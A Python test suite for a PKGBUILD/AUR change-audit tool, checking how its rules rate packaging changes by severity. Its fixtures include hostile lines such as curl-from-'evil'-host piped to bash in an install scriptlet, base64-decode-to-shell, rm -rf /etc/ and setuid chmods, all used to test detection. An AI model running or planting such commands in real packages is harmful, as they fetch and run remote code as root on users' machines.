"""The audit rules, judged against the two ways they can be wrong.
A false positive teaches the reader to ignore the BLOCK tier, which is worse
than having no BLOCK tier. A false negative means a malicious package passes
review. Both were measured against real maintainer history on this machine
(1717 commit pairs across 92 clones) and against deliberately hostile input, and
every case below is one that was actually wrong.
The severity expectations are the point of the test, not incidental: a rule that
fires at LOOK where it used to fire at BLOCK is a different, and usually better,
rule.
"""
from __future__ import annotations
import sys
import time
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
from updater.audit import ( # noqa: E402
MAX_SCAN,
PATTERNS,
Change,
audit,
inside_quotes,
)
from updater.srcinfo import parse_pkgbuild, parse_srcinfo # noqa: E402
EMPTY = "package() { :; }\n"
def findings(
old: str | None, new: str | None, *, old_info: str = "", new_info: str = ""
) -> list[tuple[str, str]]:
change = Change(
package="t",
old_pkgbuild=parse_pkgbuild(old) if old is not None else None,
new_pkgbuild=parse_pkgbuild(new) if new is not None else None,
old_srcinfo=parse_srcinfo(old_info) if old_info else None,
new_srcinfo=parse_srcinfo(new_info) if new_info else None,
)
return [(f.rule, f.severity.name) for f in audit(change).findings]
def findings_plain(change: Change) -> list[tuple[str, str]]:
return [(f.rule, f.severity.name) for f in audit(change).findings]
def rules(got: list[tuple[str, str]]) -> set[str]:
return {rule for rule, _ in got}
def severity_of(got: list[tuple[str, str]], rule: str) -> str | None:
return next((sev for r, sev in got if r == rule), None)
# --------------------------------------------------------------------------
# false positives
# --------------------------------------------------------------------------
def test_a_dependency_named_sudo_is_not_an_invocation():
assert "sudo-in-pkgbuild" not in rules(findings(EMPTY, "depends=('sudo')\n" + EMPTY))
def test_sudo_mentioned_in_a_message_is_not_an_invocation():
"""Install scriptlets routinely echo the command for the user to run."""
got = findings(EMPTY, 'package() {\n echo "run: sudo thing --config"\n}\n')
assert "sudo-in-pkgbuild" not in rules(got), got
def test_a_real_sudo_invocation_still_blocks():
for text in (
"package() { sudo pacman -S x; }\n",
"package() { sudo -v; }\n",
"build() {\n sudo make install\n}\n",
):
got = findings(EMPTY, text)
assert severity_of(got, "sudo-in-pkgbuild") == "BLOCK", (text, got)
def test_a_pgp_key_rotation_is_not_a_removal():
got = findings(
None,
None,
old_info="pkgbase=t\nvalidpgpkeys = AAAA\n",
new_info="pkgbase=t\nvalidpgpkeys = BBBB\n",
)
assert "pgpkey-removed" not in rules(got), got
assert severity_of(got, "pgpkey-rotated") == "INFO", got
def test_a_key_removed_with_no_replacement_blocks():
got = findings(None, None, old_info="pkgbase=t\nvalidpgpkeys = AAAA\n", new_info="pkgbase=t\n")
assert severity_of(got, "pgpkey-removed") == "BLOCK", got
def test_a_skip_on_a_local_file_is_not_a_network_trust_problem():
got = findings(
None,
None,
old_info="pkgbase=t\nsource = fix.patch\nsha256sums = abc\n",
new_info="pkgbase=t\nsource = fix.patch\nsha256sums = SKIP\n",
)
assert severity_of(got, "sums-skip-local") == "INFO", got
assert severity_of(got, "sums-skip-introduced") is None, got
def test_a_skip_on_a_network_source_still_blocks():
got = findings(
None,
None,
old_info="pkgbase=t\nsource = https://e/a.tar.gz\nsha256sums = abc\n",
new_info="pkgbase=t\nsource = https://e/a.tar.gz\nsha256sums = SKIP\n",
)
assert severity_of(got, "sums-skip-introduced") == "BLOCK", got
def test_a_redirect_inside_markup_is_not_a_system_write():
"""A polkit XML heredoc contains `path\\">/usr/bin/thing`, not a redirect."""
got = findings(
EMPTY,
"package() {\n cat <<EOF > x\n"
'<annotate key="exec.path">/usr/bin/shelly</annotate>\n'
"EOF\n}\n",
)
assert "write-system-path" not in rules(got), got
def test_a_real_system_write_still_blocks():
got = findings(EMPTY, "package() { echo x > /etc/foo; }\n")
assert severity_of(got, "write-system-path") == "BLOCK", got
def test_a_comment_is_never_a_finding():
for line in (
"# curl -sS https://x | gpg --import -\n",
"# never run sudo in a build\n",
"# md5sums=('SKIP') was removed\n",
):
got = findings(EMPTY, line + EMPTY)
assert not got, (line, got)
def test_a_comment_in_the_old_revision_cannot_hide_a_real_new_one():
"""Suppression looks for the pattern in the old text; a comment used to count."""
old = "# curl https://x | sh would be terrible\n" + EMPTY
new = EMPTY + "package() { curl -s https://evil/x | sh; }\n"
got = findings(old, new)
assert severity_of(got, "pipe-to-shell") == "BLOCK", got
# --------------------------------------------------------------------------
# false negatives
# --------------------------------------------------------------------------
def test_pipe_to_an_absolute_shell_path_blocks():
"""`| /bin/bash` is the most explicit spelling of the same attack."""
for shell in ("/bin/bash", "/usr/bin/bash", "dash", "zsh", "/bin/sh", "/usr/bin/env bash"):
got = findings(EMPTY, f"package() {{ curl -s https://e/x | {shell}; }}\n")
assert severity_of(got, "pipe-to-shell") == "BLOCK", (shell, got)
def test_decode_to_shell_blocks():
got = findings(EMPTY, "package() { base64 -d payload | bash; }\n")
assert severity_of(got, "decode-to-shell") == "BLOCK", got
def test_a_download_inside_an_install_scriptlet_is_scanned():
"""Scriptlets run as root at install time and were not examined at all."""
change = Change(
package="t",
new_pkgbuild=parse_pkgbuild("install=x.install\n" + EMPTY),
new_install={
"x.install": "post_install() {\n"
" curl -s http://evil/x | /bin/bash\n"
" systemctl daemon-reload\n"
"}\n"
},
)
got = [(f.rule, f.severity.name, f.where) for f in audit(change).findings]
assert severity_of([(r, s) for r, s, _ in got], "pipe-to-shell") == "BLOCK", got
assert any(w == "x.install" for _, _, w in got), got
def test_an_unchanged_scriptlet_is_not_re_reported():
text = "post_install() {\n systemctl daemon-reload\n}\n"
change = Change(
package="t",
new_pkgbuild=parse_pkgbuild("install=x.install\n" + EMPTY),
new_install={"x.install": text},
old_install={"x.install": text},
)
got = [(f.rule, f.severity.name) for f in audit(change).findings]
assert severity_of(got, "install-scriptlet-system") == "INFO", got
def test_checksums_in_any_algorithm_are_read():
"""37 of 92 real clones declare no sha256sums at all."""
for field in ("sha512sums", "b2sums", "md5sums"):
got = findings(
None,
None,
old_info=f"pkgbase=t\nsource = https://e/a.tar.gz\n{field} = abc\n",
new_info=f"pkgbase=t\nsource = https://e/a.tar.gz\n{field} = SKIP\n",
)
assert severity_of(got, "sums-skip-introduced") == "BLOCK", (field, got)
def test_an_indexed_assignment_is_understood():
"""`sha512sums[4]='SKIP'` is how a package skips one entry."""
pb = parse_pkgbuild("sha512sums=('a' 'b' 'c')\nsha512sums[1]='SKIP'\n")
assert pb.get("sha512sums") == ["a", "SKIP", "c"], pb.get("sha512sums")
def test_runtime_generated_functions_are_still_scanned():
"""`eval "package_x() { ... }"` evaded every function-scoped rule."""
got = findings(
EMPTY,
'main() {\n eval "package_${pkgbase}() {\n curl -s http://evil/x | bash\n }"\n}\n',
)
assert severity_of(got, "pipe-to-shell") == "BLOCK", got
# --------------------------------------------------------------------------
# robustness: the input is attacker-controlled
# --------------------------------------------------------------------------
def test_no_pattern_backtracks_catastrophically():
"""A hung review is a denial of service, and the text is the maintainer's.
`decode-to-shell` used to be cubic: 8 KB took 4.5 seconds and 20 KB took
over a minute.
"""
hostile = {
"decode-to-shell": "base64 -d ",
"pipe-to-shell": "curl -s https://e/x | sh ",
"curl-pipe-no-fail": "curl -s https://e/x ",
"rm-outside-builddir": "rm -rf /etc/ ",
"write-system-path": 'x">/usr/bin/y ',
"sudo-in-pkgbuild": "sudo x ",
}
for pat in PATTERNS:
unit = hostile.get(pat.rule, "x " * 20)
text = (unit * (MAX_SCAN // max(1, len(unit)) + 1))[:MAX_SCAN]
started = time.monotonic()
pat.regex.search(text)
elapsed = time.monotonic() - started
assert elapsed < 1.0, f"{pat.rule} took {elapsed:.2f}s on {len(text)} bytes"
def test_a_full_audit_of_hostile_input_is_fast():
text = ("curl -s https://e/x | sh; base64 -d z | sh; sudo pacman; " * 20000)[:MAX_SCAN]
started = time.monotonic()
audit(Change(package="x", new_pkgbuild=parse_pkgbuild(text)))
elapsed = time.monotonic() - started
assert elapsed < 3.0, f"a {len(text)}-byte PKGBUILD took {elapsed:.2f}s"
def test_an_oversized_pkgbuild_is_truncated_loudly():
text = "x" * (MAX_SCAN + 1000)
got = [
(f.rule, f.severity.name)
for f in audit(Change(package="x", new_pkgbuild=parse_pkgbuild(text))).findings
]
assert severity_of(got, "scan-truncated") == "INFO", got
def test_a_normal_pkgbuild_is_not_truncated():
text = "package() { make; }\n" * 100
got = [
(f.rule, f.severity.name)
for f in audit(Change(package="x", new_pkgbuild=parse_pkgbuild(text))).findings
]
assert "scan-truncated" not in rules(got), got
# --------------------------------------------------------------------------
# the audit basis
# --------------------------------------------------------------------------
def test_an_empty_report_says_it_examined_nothing():
""" "No findings" and "nothing to look at" must not render the same."""
report = audit(Change(package="x"))
assert report.audited is False
assert report.findings == []
assert "not audited" in report.basis.label
def test_a_report_with_a_pkgbuild_is_marked_audited():
assert audit(Change(package="x", new_pkgbuild=parse_pkgbuild(EMPTY))).audited
def test_inside_quotes_finds_quoted_text():
line = 'echo "run: sudo thing" done'
at = line.index("sudo")
assert inside_quotes(line, at)
assert not inside_quotes("sudo pacman -S x", 0)
assert not inside_quotes('echo "a" sudo x', 10)
def test_an_echo_in_a_scriptlet_is_not_an_invocation():
"""The guard has to apply to the scriptlet scan too, not only the file scan."""
change = Change(
package="t",
new_pkgbuild=parse_pkgbuild("install=x.install\n" + EMPTY),
new_install={"x.install": 'post_install() {\n echo "==> run: sudo thing --config"\n}\n'},
)
got = [(f.rule, f.severity.name) for f in audit(change).findings]
assert "sudo-in-pkgbuild" not in rules(got), got
def test_a_skip_on_a_detached_signature_is_not_a_network_risk():
"""A `.sig` is verified against validpgpkeys; a hash is redundant."""
got = findings(
None,
None,
old_info="pkgbase=t\nsource = a.sig::https://e/a.gpg\nsha512sums = abc\n",
new_info="pkgbase=t\nsource = a.sig::https://e/a.gpg\nsha512sums = SKIP\n",
)
assert severity_of(got, "sums-skip-signature") == "INFO", got
assert severity_of(got, "sums-skip-introduced") is None, got
def test_is_signature_source_recognises_the_common_suffixes():
from updater.audit import is_signature_source
for yes in ("a.sig", "a.asc", "a.gpg", "name.sig::https://e/x"):
assert is_signature_source(yes), yes
for no in ("a.tar.gz", "patch.diff", "", "sig"):
assert not is_signature_source(no), no
def test_metadata_covered_by_a_gpg_signed_release_is_not_a_network_risk():
"""A repo `Release` is signed and the `Packages` index is hashed inside it."""
old = (
"pkgbase=t\n"
"source = pkg-1-Release::http://r/dists/Release\n"
"source = pkg-1-Release.sig::http://r/dists/Release.gpg\n"
"source = pkg-1-Packages::http://r/dists/Packages\n"
"validpgpkeys = AAAA\n"
"sha512sums = aaaa\nsha512sums = bbbb\nsha512sums = cccc\n"
)
new = old.replace("sha512sums = aaaa", "sha512sums = SKIP")
got = findings(None, None, old_info=old, new_info=new)
assert severity_of(got, "sums-skip-introduced") == "INFO", got
def test_a_skip_without_gpg_verification_still_blocks():
got = findings(
None,
None,
old_info="pkgbase=t\nsource = https://e/a.tar.gz\nsha512sums = abc\n",
new_info="pkgbase=t\nsource = https://e/a.tar.gz\nsha512sums = SKIP\n",
)
assert severity_of(got, "sums-skip-introduced") == "BLOCK", got
def test_adopting_an_orphaned_package_is_reported():
"""The classic AUR account-takeover vector.
The recorded state used to encode "orphaned" and "no record" identically as
None, so adoption was indistinguishable from continuity and reported
nothing at all.
"""
got = findings_plain(Change(package="t", old_maintainer="", new_maintainer="evildev"))
assert severity_of(got, "maintainer-adopted") == "LOOK", got
def test_a_first_audit_does_not_claim_every_package_was_adopted():
"""No record is not evidence of an adoption."""
got = findings_plain(Change(package="t", old_maintainer=None, new_maintainer="someone"))
assert "maintainer-adopted" not in rules(got), got
def test_orphaning_is_only_context():
got = findings_plain(Change(package="t", old_maintainer="olddev", new_maintainer=None))
assert severity_of(got, "orphaned") == "INFO", got
def test_a_new_source_from_an_unfamiliar_host_is_loud():
"""A version bump renames the tarball, so `added` and `removed` are both set
and the old guard reported nothing -- the shape of slipping a patch in."""
old = "pkgbase=t\nsource = https://good/demo-1.0.0.tar.gz\nsha256sums = aaaa\n"
new = (
"pkgbase=t\nsource = https://good/demo-1.0.1.tar.gz\n"
"source = http://evil/backdoor.patch\n"
"sha256sums = bbbb\nsha256sums = cccc\n"
)
got = findings(None, None, old_info=old, new_info=new)
assert severity_of(got, "source-host-added") == "LOOK", got
def test_a_version_bump_that_renames_the_tarball_is_quiet():
"""Almost every commit renames the tarball. Reporting that is pure noise."""
old = "pkgbase=t\nsource = https://good/demo-1.0.0.tar.gz\nsha256sums = aaaa\n"
new = "pkgbase=t\nsource = https://good/demo-1.0.1.tar.gz\nsha256sums = bbbb\n"
got = findings(None, None, old_info=old, new_info=new)
assert severity_of(got, "source-host-added") is None, got
assert severity_of(got, "source-added") is None, got
def test_the_source_list_growing_is_what_makes_it_loud():
old = "pkgbase=t\nsource = https://good/a.tar.gz\nsha256sums = a\n"
same_host = (
"pkgbase=t\nsource = https://good/a.tar.gz\n"
"source = https://good/extra.patch\nsha256sums = a\nsha256sums = b\n"
)
new_host = (
"pkgbase=t\nsource = https://good/a.tar.gz\n"
"source = http://evil/b.patch\nsha256sums = a\nsha256sums = b\n"
)
assert (
severity_of(findings(None, None, old_info=old, new_info=same_host), "source-added")
== "INFO"
)
assert (
severity_of(findings(None, None, old_info=old, new_info=same_host), "source-host-added")
is None
)
assert (
severity_of(findings(None, None, old_info=old, new_info=new_host), "source-host-added")
== "LOOK"
)
def test_a_download_in_pkgver_or_a_helper_is_seen():
"""Only four function names were scanned, so `pkgver()` and helpers were not."""
for text in (
"pkgver() {\n curl -s https://evil/p -o p\n}\n" + EMPTY,
"_h() {\n wget https://evil/x\n}\nbuild() { _h; }\n" + EMPTY,
):
got = findings(EMPTY, text)
assert severity_of(got, "network-in-build") == "LOOK", (text, got)
def test_a_variable_ending_in_a_tool_name_is_not_a_fetch():
got = findings(EMPTY, "build() {\n _tool=curl\n make\n}\npackage() { :; }\n")
assert "network-in-build" not in rules(got), got
got = findings(EMPTY, 'pkgdesc="a tool to curl things"\n' + EMPTY)
assert "network-in-build" not in rules(got), got
def test_writing_a_system_path_without_a_redirect_blocks():
for text in (
"package() { install -Dm644 x.conf /etc/x.conf; }\n",
"package() { cp evil /usr/bin/x; }\n",
):
got = findings(EMPTY, text)
assert severity_of(got, "write-system-path") == "BLOCK", (text, got)
def test_installing_into_pkgdir_is_not_a_system_write():
"""The whole point of `$pkgdir`: this is how a package is supposed to work."""
for text in (
'package() { install -Dm644 x "${pkgdir}/usr/share/x"; }\n',
'package() { install -Dm755 b "$DESTDIR/usr/bin/b"; }\n',
):
got = findings(EMPTY, text)
assert "write-system-path" not in rules(got), (text, got)
def test_setuid_spellings_are_all_caught():
for text in (
"package() { chmod +s bin/tool; }\n",
"package() { chmod 4755 bin/tool; }\n",
"package() { chmod 04755 bin/tool; }\n",
"package() { chmod u+s bin/tool; }\n",
):
got = findings(EMPTY, text)
assert severity_of(got, "setuid") == "BLOCK", (text, got)
def test_the_system_path_must_be_the_destination_not_the_source():
"""`ln -s /opt/Bitwarden/x "$pkgdir/etc/y"` reads from /opt and writes into
the package. Matching the source argument reported a correct PKGBUILD."""
for text in (
'package() { ln -s /opt/B/X "$pkgdir/etc/Y"; }\n',
'package() { cp /usr/share/x "$pkgdir/usr/share/"; }\n',
'package() { install -Dm644 x "${pkgdir}/usr/share/x"; }\n',
):
got = findings(EMPTY, text)
assert "write-system-path" not in rules(got), (text, got)
def test_a_copy_into_a_system_path_on_its_own_line_blocks():
got = findings(EMPTY, "build() {\n cp x /etc/y\n}\npackage() { :; }\n")
assert severity_of(got, "write-system-path") == "BLOCK", got
def main() -> int:
tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
failed = 0
for name, fn in tests:
try:
fn()
except Exception as exc: # noqa: BLE001
failed += 1
print(f"FAIL {name}\n {type(exc).__name__}: {exc}")
else:
print(f"ok {name}")
print(f"\n{len(tests) - failed}/{len(tests)} passed")
return 1 if failed else 0
if __name__ == "__main__":
raise SystemExit(main())